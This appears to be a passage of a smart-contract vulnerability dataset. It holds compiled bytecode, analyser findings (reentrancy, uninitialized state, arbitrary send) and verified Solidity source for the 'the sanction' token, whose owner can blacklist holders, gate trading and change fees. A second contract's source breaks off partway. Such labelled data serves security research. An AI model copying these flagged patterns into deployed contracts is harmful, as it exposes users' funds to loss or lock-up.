2769612948565b5b828201905092915050565b600061278082612872565b915061278b83612872565b92508261279b5761279a612977565b5b828204905092915050565b60006127b182612872565b91506127bc83612872565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127f5576127f4612948565b5b828202905092915050565b600061280b82612872565b915061281683612872565b92508282101561282957612828612948565b5b828203905092915050565b600061283f82612852565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061289482612872565b9050919050565b60005b838110156128b957808201518184015260208101905061289e565b838111156128c8576000848401525b50505050565b6128d7826129d5565b810181811067ffffffffffffffff821117156128f6576128f56129a6565b5b80604052505050565b600061290a82612872565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561293d5761293c612948565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612c6a81612834565b8114612c7557600080fd5b50565b612c8181612846565b8114612c8c57600080fd5b50565b612c9881612872565b8114612ca357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207a86a6b5cefba2a15db064d87e340d0463d23cca55252cd8f35faf0f0ad655b564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
10,272
0x3a555579e2fb378024441da9b4bc4f4c81b07673
/** *Submitted for verification at Etherscan.io on 2022-04-10 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract thesanction is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "the sanction"; string private constant _symbol = "the sanction"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 3; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 150000000 * 10**9; uint256 public _maxWalletSize = 150000000 * 10**9; uint256 public _swapTokensAtAmount = 100000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610547578063dd62ed3e14610567578063ea1644d5146105ad578063f2fde38b146105cd57600080fd5b8063a2a957bb146104c2578063a9059cbb146104e2578063bfd7928414610502578063c3c8cd801461053257600080fd5b80638f70ccf7116100d15780638f70ccf71461046c5780638f9a55c01461048c57806395d89b411461020957806398a5c315146104a257600080fd5b80637d1db4a5146103f65780637f2feddc1461040c5780638203f5fe146104395780638da5cb5b1461044e57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038c57806370a08231146103a1578063715018a6146103c157806374010ece146103d657600080fd5b8063313ce5671461031057806349bd5a5e1461032c5780636b9990531461034c5780636d8aa8f81461036c57600080fd5b80631694505e116101b65780631694505e1461027d57806318160ddd146102b557806323b872dd146102da5780632fd689e3146102fa57600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024d57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b04565b6105ed565b005b34801561021557600080fd5b50604080518082018252600c81526b3a34329039b0b731ba34b7b760a11b602082015290516102449190611bc9565b60405180910390f35b34801561025957600080fd5b5061026d610268366004611c1e565b61068c565b6040519015158152602001610244565b34801561028957600080fd5b5060135461029d906001600160a01b031681565b6040516001600160a01b039091168152602001610244565b3480156102c157600080fd5b50678ac7230489e800005b604051908152602001610244565b3480156102e657600080fd5b5061026d6102f5366004611c4a565b6106a3565b34801561030657600080fd5b506102cc60175481565b34801561031c57600080fd5b5060405160098152602001610244565b34801561033857600080fd5b5060145461029d906001600160a01b031681565b34801561035857600080fd5b50610207610367366004611c8b565b61070c565b34801561037857600080fd5b50610207610387366004611cb8565b610757565b34801561039857600080fd5b5061020761079f565b3480156103ad57600080fd5b506102cc6103bc366004611c8b565b6107cc565b3480156103cd57600080fd5b506102076107ee565b3480156103e257600080fd5b506102076103f1366004611cd3565b610862565b34801561040257600080fd5b506102cc60155481565b34801561041857600080fd5b506102cc610427366004611c8b565b60116020526000908152604090205481565b34801561044557600080fd5b506102076108a4565b34801561045a57600080fd5b506000546001600160a01b031661029d565b34801561047857600080fd5b50610207610487366004611cb8565b610a5c565b34801561049857600080fd5b506102cc60165481565b3480156104ae57600080fd5b506102076104bd366004611cd3565b610abb565b3480156104ce57600080fd5b506102076104dd366004611cec565b610aea565b3480156104ee57600080fd5b5061026d6104fd366004611c1e565b610b44565b34801561050e57600080fd5b5061026d61051d366004611c8b565b60106020526000908152604090205460ff1681565b34801561053e57600080fd5b50610207610b51565b34801561055357600080fd5b50610207610562366004611d1e565b610b87565b34801561057357600080fd5b506102cc610582366004611da2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b957600080fd5b506102076105c8366004611cd3565b610c28565b3480156105d957600080fd5b506102076105e8366004611c8b565b610c57565b6000546001600160a01b031633146106205760405162461bcd60e51b815260040161061790611ddb565b60405180910390fd5b60005b81518110156106885760016010600084848151811061064457610644611e10565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068081611e3c565b915050610623565b5050565b6000610699338484610d41565b5060015b92915050565b60006106b0848484610e65565b61070284336106fd85604051806060016040528060288152602001611f56602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113a1565b610d41565b5060019392505050565b6000546001600160a01b031633146107365760405162461bcd60e51b815260040161061790611ddb565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107815760405162461bcd60e51b815260040161061790611ddb565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107bf57600080fd5b476107c9816113db565b50565b6001600160a01b03811660009081526002602052604081205461069d90611415565b6000546001600160a01b031633146108185760405162461bcd60e51b815260040161061790611ddb565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088c5760405162461bcd60e51b815260040161061790611ddb565b6611c37937e08000811161089f57600080fd5b601555565b6000546001600160a01b031633146108ce5760405162461bcd60e51b815260040161061790611ddb565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610933573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109579190611e57565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c89190611e57565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e57565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610a865760405162461bcd60e51b815260040161061790611ddb565b601454600160a01b900460ff1615610a9d57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610ae55760405162461bcd60e51b815260040161061790611ddb565b601755565b6000546001600160a01b03163314610b145760405162461bcd60e51b815260040161061790611ddb565b60095482111580610b275750600b548111155b610b3057600080fd5b600893909355600a91909155600955600b55565b6000610699338484610e65565b6012546001600160a01b0316336001600160a01b031614610b7157600080fd5b6000610b7c306107cc565b90506107c981611499565b6000546001600160a01b03163314610bb15760405162461bcd60e51b815260040161061790611ddb565b60005b82811015610c22578160056000868685818110610bd357610bd3611e10565b9050602002016020810190610be89190611c8b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c1a81611e3c565b915050610bb4565b50505050565b6000546001600160a01b03163314610c525760405162461bcd60e51b815260040161061790611ddb565b601655565b6000546001600160a01b03163314610c815760405162461bcd60e51b815260040161061790611ddb565b6001600160a01b038116610ce65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610617565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610da35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610617565b6001600160a01b038216610e045760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610617565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ec95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610617565b6001600160a01b038216610f2b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610617565b60008111610f8d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610617565b6000546001600160a01b03848116911614801590610fb957506000546001600160a01b03838116911614155b1561129a57601454600160a01b900460ff16611052576000546001600160a01b038481169116146110525760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610617565b6015548111156110a45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610617565b6001600160a01b03831660009081526010602052604090205460ff161580156110e657506001600160a01b03821660009081526010602052604090205460ff16155b61113e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610617565b6014546001600160a01b038381169116146111c35760165481611160846107cc565b61116a9190611e74565b106111c35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610617565b60006111ce306107cc565b6017546015549192508210159082106111e75760155491505b8080156111fe5750601454600160a81b900460ff16155b801561121857506014546001600160a01b03868116911614155b801561122d5750601454600160b01b900460ff165b801561125257506001600160a01b03851660009081526005602052604090205460ff16155b801561127757506001600160a01b03841660009081526005602052604090205460ff16155b156112975761128582611499565b47801561129557611295476113db565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112dc57506001600160a01b03831660009081526005602052604090205460ff165b8061130e57506014546001600160a01b0385811691161480159061130e57506014546001600160a01b03848116911614155b1561131b57506000611395565b6014546001600160a01b03858116911614801561134657506013546001600160a01b03848116911614155b1561135857600854600c55600954600d555b6014546001600160a01b03848116911614801561138357506013546001600160a01b03858116911614155b1561139557600a54600c55600b54600d555b610c2284848484611613565b600081848411156113c55760405162461bcd60e51b81526004016106179190611bc9565b5060006113d28486611e8c565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610688573d6000803e3d6000fd5b600060065482111561147c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610617565b6000611486611641565b90506114928382611664565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114e1576114e1611e10565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561153a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061155e9190611e57565b8160018151811061157157611571611e10565b6001600160a01b0392831660209182029290920101526013546115979130911684610d41565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115d0908590600090869030904290600401611ea3565b600060405180830381600087803b1580156115ea57600080fd5b505af11580156115fe573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611620576116206116a6565b61162b8484846116d4565b80610c2257610c22600e54600c55600f54600d55565b600080600061164e6117cb565b909250905061165d8282611664565b9250505090565b600061149283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061180b565b600c541580156116b65750600d54155b156116bd57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116e687611839565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117189087611896565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461174790866118d8565b6001600160a01b03891660009081526002602052604090205561176981611937565b6117738483611981565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117b891815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e800006117e68282611664565b82101561180257505060065492678ac7230489e8000092509050565b90939092509050565b6000818361182c5760405162461bcd60e51b81526004016106179190611bc9565b5060006113d28486611f14565b60008060008060008060008060006118568a600c54600d546119a5565b9250925092506000611866611641565b905060008060006118798e8787876119fa565b919e509c509a509598509396509194505050505091939550919395565b600061149283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113a1565b6000806118e58385611e74565b9050838110156114925760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610617565b6000611941611641565b9050600061194f8383611a4a565b3060009081526002602052604090205490915061196c90826118d8565b30600090815260026020526040902055505050565b60065461198e9083611896565b60065560075461199e90826118d8565b6007555050565b60008080806119bf60646119b98989611a4a565b90611664565b905060006119d260646119b98a89611a4a565b905060006119ea826119e48b86611896565b90611896565b9992985090965090945050505050565b6000808080611a098886611a4a565b90506000611a178887611a4a565b90506000611a258888611a4a565b90506000611a37826119e48686611896565b939b939a50919850919650505050505050565b600082611a595750600061069d565b6000611a658385611f36565b905082611a728583611f14565b146114925760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610617565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c957600080fd5b8035611aff81611adf565b919050565b60006020808385031215611b1757600080fd5b823567ffffffffffffffff80821115611b2f57600080fd5b818501915085601f830112611b4357600080fd5b813581811115611b5557611b55611ac9565b8060051b604051601f19603f83011681018181108582111715611b7a57611b7a611ac9565b604052918252848201925083810185019188831115611b9857600080fd5b938501935b82851015611bbd57611bae85611af4565b84529385019392850192611b9d565b98975050505050505050565b600060208083528351808285015260005b81811015611bf657858101830151858201604001528201611bda565b81811115611c08576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c3157600080fd5b8235611c3c81611adf565b946020939093013593505050565b600080600060608486031215611c5f57600080fd5b8335611c6a81611adf565b92506020840135611c7a81611adf565b929592945050506040919091013590565b600060208284031215611c9d57600080fd5b813561149281611adf565b80358015158114611aff57600080fd5b600060208284031215611cca57600080fd5b61149282611ca8565b600060208284031215611ce557600080fd5b5035919050565b60008060008060808587031215611d0257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d3357600080fd5b833567ffffffffffffffff80821115611d4b57600080fd5b818601915086601f830112611d5f57600080fd5b813581811115611d6e57600080fd5b8760208260051b8501011115611d8357600080fd5b602092830195509350611d999186019050611ca8565b90509250925092565b60008060408385031215611db557600080fd5b8235611dc081611adf565b91506020830135611dd081611adf565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e5057611e50611e26565b5060010190565b600060208284031215611e6957600080fd5b815161149281611adf565b60008219821115611e8757611e87611e26565b500190565b600082821015611e9e57611e9e611e26565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ef35784516001600160a01b031683529383019391830191600101611ece565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f3157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f5057611f50611e26565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220add9097daa006df53097bc8bf7a0c78e3804ca56ea1dcc207922a8e094c2c63a64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,273
0x6ac96fdaf183307c45b8de96164eca21b779f8e4
/** *Submitted for verification at Etherscan.io on 2021-09-29 */ /* https://t.me/FomoINU */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { 